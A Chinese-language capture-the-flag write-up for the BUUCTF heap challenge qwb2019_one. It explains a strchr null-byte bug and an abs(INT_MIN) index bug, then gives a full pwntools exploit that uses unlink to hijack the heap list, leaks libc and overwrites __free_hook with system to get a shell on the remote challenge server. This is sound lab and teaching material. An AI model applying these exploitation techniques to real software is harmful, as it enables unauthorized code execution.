[BUUCTF] qwb2019_one

[BUUCTF] qwb2019_one

好久没做堆题了,水平大幅下滑(悲)

Ubuntu 18,checksec防护全开,不放图了。

结构很奇怪,有一个heaplist_ptr,它指向了heaplist,但是后面各项功能都是从heaplist_ptr开始的,这一点在一开始Init函数可以看出来。(题目原来没有符号表,这里是我自己命的名)
图片.png
可以看到heaplist_ptr的地址被存在了heaplist_ptr后面一格的地方

四个功能中,除了Edit之外,其余的都很常规。Edit里仅仅允许修改字符串中的单个字符,这里有个大锅:如果strchr函数是查找\x00这一字符,那么会返回这个字符串的结尾的\x00的地址而不是返回NULL(我专门查了源码,原因在于strchr是把\x00当做普通字符进行了判断,找到字符的if分支在字符串查询到结尾的分支要靠前,所以会return回\x00的地址而非NULL)

隐藏功能里也有一个漏洞,abs函数是通过直接进行“-”运算来实现负数变为整数的功能,然而int型0x80000000(最大的负数)经过abs运算后得到的结果仍为0x80000000,并且这个结果%5后得到-3,加4后下标为1——没错,这里是heaplist_ptr的地址。这样我们就能打印出来这个地址,也就得到了elf文件的基址。
图片.png

堆溢出+textbase已知,这种情况肯定要用unlink去劫持heaplist,再泄露got表项得到libc基址。由于这题开启了FULL RELRO,这题不能篡改got表,需要把free_hook改成system的地址,再free掉一个有/bin/sh的堆块,即可拿到shell。

EXP:

from pwn import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
#context.log_level='debug'

#r=process('/home/wjc/Desktop/one')
r=remote('node4.buuoj.cn',25066)

e=ELF('/home/wjc/Desktop/one')
libc=ELF('/home/wjc/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')

def cmd(idx):
    r.recvuntil('command>> ')
    r.sendline(str(idx))

def Add(content):
    cmd(1)
    r.recvuntil('Now, you can input your test string:')
    r.sendline(content)
def Edit(idx,c1,c2):
    cmd(2)
    r.recvuntil('Please give me the index of the string:')
    r.sendline(str(idx))
    r.recvuntil('Which char do you want to edit:')
    r.send(c1)
    r.recvuntil('What do you want to edit it into:')
    r.sendline(c2)
def Show(idx):
    cmd(3)
    r.recvuntil('Please give me the index of the string:')
    r.sendline(str(idx))
def Del(idx):
    cmd(4)
    r.recvuntil('Please give me the index of the string:')
    r.sendline(str(idx))
def backdoor(idx):
    cmd(12580)
    r.recvuntil('Do you want to use one?(Y/N)')
    r.sendline('Y')
    r.recvuntil('Here are 5 strings to be tested. Which one do you want to test?')
    r.sendline(str(idx))

backdoor(0x80000000)

r.recvuntil("The string:\n")
textbase=u64(r.recv(6).ljust(8,'\x00'))-(0x5583ec1d70c0-0x5583ebfd4000)
heaplist=textbase+0x2030C0
free_got=e.got['puts']+textbase

for i in range(0,18):
    Add(0x20*chr(ord('a')+i-1))

for i in range(0,0x10):
    Edit(0,'\x00',chr(ord('B')+i))
for i in range(0,0x8):
    Edit(0,'\x00',chr(ord('*')+i))

for i in range(0,0x20):
    Edit(0,'\x60'+'\n',chr(ord('a')+i))
Edit(0,'\x41\n','\x40')
Edit(0,'\x00','\x04')
fake_size=p64(0x30)

for i in range(0,0x8):
    Edit(0,chr(ord('*')+7-i)+'\n',fake_size[7-i])
fake_chunk=p64(0)+p64(0x31)+p64(heaplist-0x18)+p64(heaplist-0x10)

# for i in range(0,0x10):
#     Edit(0,chr(ord('B')+0xF-i)+'\n',fake_chunk[0x1F-i])
for i in range(0,0x20):
    Edit(0,chr(ord('a')+0x1F-i)+'\n',fake_chunk[0x1F-i])
    
Del(1)

for i in range(0,0x18):
    Edit(0,'\x00'+'\n','a')
Edit(0,'\xa8'+'\n','\xc8')

for i in range(0,0x6):
    Edit(0,'\x00',p64(free_got)[i])

Show(1)
r.recvuntil('The string is:')
free_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libcbase=free_addr-(0x7f9ea368e9c0-0x7f9ea360e000)

free_hook=libcbase+libc.symbols['__free_hook']
system_addr=libcbase+libc.symbols['system']
Add('/bin/sh')

for i in range(0,0x6):
    Edit(0,p64(free_got)[5-i]+'\n',p64(free_hook)[5-i])
for i in range(0,0x6):
    Edit(1,'\x00',p64(system_addr)[i])
Del(18)

print('textbase:',hex(textbase))
print('heapbase:',hex(heaplist))
print('free_got:',hex(free_got))
print('free_addr:',hex(free_addr))
print('libcbase:',hex(libcbase))
print('free_hook:',hex(free_hook))

#gdb.attach(r)

r.interactive()
posted @ 2022-12-09 20:51  Jmp·Cliff  阅读(41)  评论(0)    收藏  举报